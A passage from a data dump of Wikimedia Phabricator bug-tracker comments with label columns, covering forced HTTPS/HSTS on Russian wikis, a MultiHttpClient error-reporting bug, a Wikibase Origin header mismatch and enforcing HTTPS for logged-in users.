matter.",,,1425821214,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+422800,Russian projects force HTTPS regardless of preferences,">>! In T91352#1098719, @KPu3uC_B_Poccuu wrote:
+> I don't know what business you have to do working on Wikimedia projects
+
+I have a [[https://meta.wikimedia.org/wiki/User:Nemo_bis|user page]] where you can find out.
+
+> //you can freely opt out of forced HTTPS as a registered user on Russian Wikimedia projects//.
+
+What makes you think so? All evidence points to the contrary (I just tried again). You *were* able to opt out, but this stopped being true some days ago.",,,1425808644,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+422775,Russian projects force HTTPS regardless of preferences,"No, it doesn't, because you are just wrong. I don't know what business you have to do working on Wikimedia projects, but it seems you know too little and have poor reading comprehension. Because you ignored **half** of my statements and thus missed the fact //you can freely opt out of forced HTTPS as a registered user on Russian Wikimedia projects//.
+
+What grounds do you have to state otherwise? The old **beta** program? Are you kidding me?",,,1425780468,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+422774,Russian projects force HTTPS regardless of preferences,"No, it doesn't, because you are just wrong. I don't know what business you have to do working on Wikimedia projects, but it seems you know too little and have poor reading comprehension. Because you ignored **half** of my statements and thus missed the fact //you can freely opt out of forced HTTPS as a registered user on Russian Wikimedia projects//.",,,1425780257,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+422691,Russian projects force HTTPS regardless of preferences,">>! In T91352#1095598, @KPu3uC_B_Poccuu wrote:
+> What the hell is going on really? 
+
+Does https://ru.wikipedia.org/wiki/HSTS clarify? See yourself:
+```
+$ curl -Is https://ru.wikipedia.org | grep Strict-Transport-Security
+Strict-Transport-Security: max-age=15768000
+```
+T91044#1074315 explains with more detail.",,,1425748427,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1
+422647,Russian projects force HTTPS regardless of preferences,"Now the same thing is going on on Russain Wikipedia, except this time I have no cookies to delete.",,,1425738541,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+422168,Russian projects force HTTPS regardless of preferences,"What the hell is going on really? What does it mean ""it has no effect""??? You can opt out of secure connection in Russian wikiprojects as a registered user. That's what my current preference across all Wikimedia projects is.",,,1425654688,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+422145,Russian projects force HTTPS regardless of preferences,"Change 194856 had a related patch set uploaded (by Nemo bis):
+Hide ""prefershttps"" preference on HSTS domains (ru): it has no effect
+
+[[https://gerrit.wikimedia.org/r/194856]]
+",,,1425649220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+422031,Russian projects force HTTPS regardless of preferences,">>! In T91352#1094773, @KPu3uC_B_Poccuu wrote:
+> OMG. I've said multiple times: I WAS DAMN LOGGED IN.
+
+Oh, sorry then.",,,1425628239,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+422030,Russian projects force HTTPS regardless of preferences,">>! In T91352#1094773, @KPu3uC_B_Poccuu wrote:
+> OMG. I've said multiple times: I WAS DAMN LOGGED IN.
+
+Oh, sorry then.",,,1425628238,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+421969,Russian projects force HTTPS regardless of preferences,OMG. I've said multiple times: I WAS DAMN LOGGED IN.,,,1425614650,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+421673,Russian projects force HTTPS regardless of preferences,"Hi, @KPu3uC_B_Poccuu, redirecting insecure HTTP to HTTPS for anonymous users is expected. Using HTTPS by default for anonymous users was the consensus of the Russian Wikipedia community.[1] The reason that you cannot use insecure HTTP is that we have enabled HTTP Strict Transport Security (HSTS) on Russian Wikimedia projects. I repeated your steps on IE 11, which does not support HSTS, and I could use insecure connection when logged in. There should be no way to use HTTP on all other browsers.
+
+So in order to avoid the confusion, the solution here should be to remove the ""Always keep on secure connection"" option from Russian Wikimedia projects, as @Nemo_bis suggested.
+
+[1] https://meta.wikimedia.org/wiki/HTTPS/Beta_program",,,1425585067,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1
+421669,Russian projects force HTTPS regardless of preferences,"Hi, @KPu3uC_B_Poccuu, redirecting insecure HTTP to HTTPS for anonymous users is expected. Using HTTPS by default for anonymous users was the consensus of the Russian Wikipedia community.[1] I repeated your steps. The reason that you cannot use insecure HTTP is that we have enabled HTTP Strict Transport Security (HSTS) on Russian Wikimedia projects. I repeated your steps on IE 11, which does not support HSTS, and I could use insecure connection when logged in. There should be no way to use HTTP on all other browsers.
+
+So in order to avoid the confusion, the solution here should be to remove the ""Always keep on secure connection"" option from Russian Wikimedia projects, as @Nemo_bis suggested.
+
+[1] https://meta.wikimedia.org/wiki/HTTPS/Beta_program",,,1425584939,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1
+421442,Russian projects force HTTPS regardless of preferences,"* Opened a wiki page via insecure link. It opened in a secure connection (expected: still insecure connection).
+* Tried to change the URL to get back to insecure. Got redirected to secure (expected: insecure connection).
+* At this point I discovered my preferences are set to ""Always keep on secure connection"" or whatever is the exact wording. Turned it off.
+* Repeated #2. Same results.
+* Logged out. Deleted all ForceHTTPS cookies.
+* Logged in. Checked no such cookies are present.
+* Repeated #4-6 several times. No luck.",,,1425566711,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+421276,Russian projects force HTTPS regardless of preferences,"@KPu3uC_B_Poccuu: A step by step explanation, with one step per line and what you see in that moment and what you expected, could be helpful. Obviously there is still confusion what this report is about.",,,1425543540,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0
+421267,Russian projects force HTTPS regardless of preferences,"> It forces while logged in.
+
+The summary is not saying the contrary. Or do you mean that you are *not* redirected to https when logged out?",,,1425541703,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+421215,Russian projects force HTTPS regardless of preferences,"Ugh, what? It forces while logged in. Change the title back.",,,1425527303,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+420669,Russian projects force HTTPS regardless of preferences,"I don't know what ""reading"" means. However, I confirm http://ru.wiktionary.org redirects to https://ru.wiktionary.org when logged out. That's expected: T91044.
+
+Maybe preferences need to be clarified? There is no way to disable HTTPS, so any relevant checkbox should be greyed out.",,,1425466361,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-18,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0
+419883,Russian projects force HTTPS regardless of preferences,Reading.,,,1425390267,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+419879,Russian projects force HTTPS regardless of preferences,">>! In T91352#1081698, @KPu3uC_B_Poccuu wrote:
+> Instead the server still forces me to use secure one.
+
+For what? Reading? Logging in?",,,1425389976,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1
+419860,Russian projects force HTTPS regardless of preferences,,,,1425385374,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+419857,Russian projects force HTTPS regardless of preferences,,,,1425385327,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+419856,Russian projects force HTTPS regardless of preferences,,,,1425385310,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+419859,Russian projects force HTTPS regardless of preferences,"Hello. I went there to read. I hadn't been there I think since the time of introduction of forced HTTPS for anonymous editors because on all wikis I had visited prior I already changed the option to not force it on me. I was logged in already by the time the bug occured via Central Auth. So, after I went there (via insecure link, BTW), I noticed I was on secured connection. I tried to switch back to HTTP, then realized I might have never opted out, so I went to preferences and changed that, after I did the usual deletion of all ForceHTTPS cookies and logging in-out. I expected to be able to read the wiki using insecure connection after that. Instead the server still forces me to use secure one.
+
+P. S. In fact, what I expected, when I change the preference setting, it should have an effect immediately, without the user even touching such sacred things like cookies. Why doesn't this work like that?",,,1425385359,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+419854,Russian projects force HTTPS regardless of preferences,"Hello. I went there to read. I hadn't been there I think since the time of introduction of forced HTTPS for anonymous editors because on all wikis I had visited prior I already changed the option to not force it on me. I was logged in already by the time the bug occured via Central Auth. So, after I went there (via insecure link, BTW), I noticed I was on secured connection. I tried to switch back to HTTP, then realized I might have never opted out, so I went to preferences and changed that, after I did the usual deletion of all ForceHTTPS cookies and logging in-out. I expected to be able to read the wiki using insecure connection after that. Instead the server still forces me to use secure one.",,,1425384937,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+419825,Russian projects force HTTPS regardless of preferences,"Thanks for taking the time to report this!
+
+Please clarify if this is about reading via HTTPS, about logging in via HTTPS, or about both, what happened at which stage, and what you expected instead.",,,1425381141,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+89758,MultiHttpClient doesn't return any useful error information,"I'm using MultiHttpClient from the libs directory to do multiple requests in parallel. When requests fail I want to know the reason. So far the only information I have been getting out of it is error code 0 with no further explanation. Docs say that it means serious curl error, but how in earth am I supposed to debug this? This is the serialized response:
+a:10:{s:4:""code"";i:0;s:6:""reason"";s:0:"""";s:7:""headers"";a:0:{}s:4:""body"";s:0:"""";s:5:""error"";s:0:"""";i:0;i:0;i:1;s:0:"""";i:2;a:0:{}i:3;s:0:"""";i:4;s:0:"""";}",Low,25.0,1424205561,1436919336.0,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_description,resolved,True,c3,1,True,True,True,-20,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+491475,MultiHttpClient doesn't return any useful error information,"Change 210664 merged by jenkins-bot:
+Fix MultiHttpClient to return correct errors
+
+[[https://gerrit.wikimedia.org/r/210664]]",,,1436909888,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+458092,MultiHttpClient doesn't return any useful error information,"Change 210664 had a related patch set uploaded (by Nikerabbit):
+Fix MultiHttpClient to return correct errors
+
+[[https://gerrit.wikimedia.org/r/210664]]
+",,,1431510077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,1,False,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+413254,MultiHttpClient doesn't return any useful error information,We ran into this while making ParsoidVRS.,,,1424233405,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+413253,MultiHttpClient doesn't return any useful error information,We ran into this while making ParsiodVRS.,,,1424233397,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+412991,MultiHttpClient doesn't return any useful error information,Possibly because of http://stackoverflow.com/questions/23612881/detect-curl-timeout-in-php,,,1424206043,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+89622,Origin HTTP header not set,"When editing a Wikibase entry, Ajax requests are sent with an `origin` GET parameter to `api.php`.
+
+However, the editing interface runs on the same domain as the repo, and wouldn't need to set the GET parameter.
+
+`api.php` expects that when an `origin` get parameter is sent, there is also an `Origin` HTTP header containing the same URL.
+
+The Wikibase Ajax request does *not* send this `Origin` HTTP header, making `api.php` respond with a 403 status:
+
+```
+'origin' parameter does not match Origin header
+```
+
+This behavior is generated in `includes/api/ApiMain.php`
+
+Probably the Ajax request has to send the required HTTP headers if it determines that it needs to send the GET parameters.",Low,25.0,1424047718,1492961869.0,PHID-USER-qctjjxrc7cabhbspfpv6,False,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-TASK-pyyhytg7i2idvbunk7c3,task_description,declined,True,c3,1,False,False,False,-20,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+847107,Origin HTTP header not set,I am closing this since we have not had the resources to look into it for 2 years and no-one else seems to have run into it.,,,1492961858,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-pyyhytg7i2idvbunk7c3,task_subcomment,,True,c3,3,True,,,94,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+416451,Origin HTTP header not set,"Found out that the problem appeared because `$wgWBClientSettings['repoUrl']` containing a trailing slash and `$wgScriptPath` is empty.
+
+Both are valid settings. I guess the URL parameter from any config option should be normalized before being used.",,,1424789090,,PHID-USER-qctjjxrc7cabhbspfpv6,False,,,PHID-TASK-pyyhytg7i2idvbunk7c3,task_subcomment,,True,c3,1,False,,,-19,True,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+411974,Origin HTTP header not set,"hoo asked to provide the URL on which this happens, which is https://catalog.rhizome.org/",,,1424049827,,PHID-USER-qctjjxrc7cabhbspfpv6,False,,,PHID-TASK-pyyhytg7i2idvbunk7c3,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+88862,Enforce HTTPS for authenticated public connections,"To protect users, we should redirect authenticated requests from HTTP to HTTPS. Our current TLS termination layer is setting an `x-https` header (TODO: verify name), which we can use to detect HTTP users.",Low,25.0,1423263118,1468361991.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-TASK-dlfd3bbkxqgzuk5hmtdi,task_description,resolved,True,c3,1,True,True,False,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
